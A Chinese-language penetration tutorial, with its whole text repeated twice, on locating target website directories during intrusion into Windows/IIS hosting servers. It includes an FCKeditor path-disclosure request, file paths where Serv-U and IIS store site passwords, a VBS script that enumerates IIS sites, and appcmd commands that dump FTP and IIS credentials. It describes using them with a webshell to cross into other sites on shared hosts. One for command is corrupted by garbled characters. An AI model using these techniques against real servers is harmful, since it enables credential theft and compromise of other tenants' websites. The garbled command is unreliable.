如何找到目标站目录
1. 没有权限 通过爆路径，
找网站目录
a. 一些常见phpweb程序都有爆路径的洞
b. phpmyadmin爆路径
c .phpinfo.php等测试网站脚本运行正常的脚本
d. fck编辑器爆绝对路径：
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
shell权限
Windows:c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
C:\Program Files\RhinoSoft.com\Serv-U\c:\Program Files\Serv-U\ServUDaemon.ini 中存储了虚拟主机网站路径和密码
通过copy iis6.0配置文件找网站的路径
如果是服务器权限 直接利用搜索目标网站的唯一图片路径找到目标网站路径
过vbs
0x01查看iis配置文件
0x02 通过注册表找到目录列表
0x03 通过dir或者for命令
0x04 appcmd在渗透中的应用
0x05 win和linux配置文件找路径
0x05 win和linux配置文件找路径
各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
x01 通过vbs查看iis配置文件
脚本如下：
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
执行命令：cscript C:\xxx\列目录.vbs
这是通过查看iis配置文件获取目标站信息。
基本信息是网站id，网站名称，网站路径
这里还介绍一款vbs，可以列出网站的iis用户名和密码，然后使用bs大牛写的webshell来跨目录。
Adsutil.vbs
0x02 通过注册表找到目录列表
注册表位置：HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\MSFtpsvc\Parameters\Virtual Roots
0x03 通过dir或者for命令
首先是dir命令，可能很多机油觉得虚拟主机上一般是没有dir命令权限。
但是我实战中却却常常能够碰见：
dir d:\wwwroot\如图：
虽然不能访问d:\wwwroot\这个目录，但是却能列出详细信息
for命令对用户权限要求是最低的，大多数情况下是可以执行了for /d %i in (d:\wwwroot\*) do @璐村惂鐢ㄦ埛_000076K馃惥 %i
如图：
0x04 appcmd在渗透中的应用
appcmd是微软iis7的一款命令行下的管理web的工具。他的使用可以在渗透中取得一些关键应用
这里我就讲对web渗透实用的几个命令。其他的命令我都测试过了，基本是权限不够。
appcmd list site
列出站点及其id号：
第二个命令：
appcmd list config
列出所有网站配置信息，如果是在iis7上配置的ftp，则还会列出网站ftp用户及密码
第三条命令：
appcmd list vdir
该条命令可以列出id号和所有站点的目录：
第二条命令可以直接找到对应站点的ftp和iis密码，可以联合bs牛的马直接跨到目标站点目录。
appcmd list cmd
appcmd list vdir
1. 没有权限 通过爆路径，
找网站目录
a. 一些常见phpweb程序都有爆路径的洞
b. phpmyadmin爆路径
c .phpinfo.php等测试网站脚本运行正常的脚本
d. fck编辑器爆绝对路径：
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
shell权限
Windows:c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
C:\Program Files\RhinoSoft.com\Serv-U\c:\Program Files\Serv-U\ServUDaemon.ini 中存储了虚拟主机网站路径和密码
通过copy iis6.0配置文件找网站的路径
如果是服务器权限 直接利用搜索目标网站的唯一图片路径找到目标网站路径
过vbs
0x01查看iis配置文件
0x02 通过注册表找到目录列表
0x03 通过dir或者for命令
0x04 appcmd在渗透中的应用
0x05 win和linux配置文件找路径
0x05 win和linux配置文件找路径
各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
x01 通过vbs查看iis配置文件
脚本如下：
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
执行命令：cscript C:\xxx\列目录.vbs
这是通过查看iis配置文件获取目标站信息。
基本信息是网站id，网站名称，网站路径
这里还介绍一款vbs，可以列出网站的iis用户名和密码，然后使用bs大牛写的webshell来跨目录。
Adsutil.vbs
0x02 通过注册表找到目录列表
注册表位置：HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\MSFtpsvc\Parameters\Virtual Roots
0x03 通过dir或者for命令
首先是dir命令，可能很多机油觉得虚拟主机上一般是没有dir命令权限。
但是我实战中却却常常能够碰见：
dir d:\wwwroot\如图：
虽然不能访问d:\wwwroot\这个目录，但是却能列出详细信息
for命令对用户权限要求是最低的，大多数情况下是可以执行了for /d %i in (d:\wwwroot\*) do @璐村惂鐢ㄦ埛_000076K馃惥 %i
如图：
0x04 appcmd在渗透中的应用
appcmd是微软iis7的一款命令行下的管理web的工具。他的使用可以在渗透中取得一些关键应用
这里我就讲对web渗透实用的几个命令。其他的命令我都测试过了，基本是权限不够。
appcmd list site
列出站点及其id号：
第二个命令：
appcmd list config
列出所有网站配置信息，如果是在iis7上配置的ftp，则还会列出网站ftp用户及密码
第三条命令：
appcmd list vdir
该条命令可以列出id号和所有站点的目录：
第二条命令可以直接找到对应站点的ftp和iis密码，可以联合bs牛的马直接跨到目标站点目录。
appcmd list cmd
appcmd list vdir
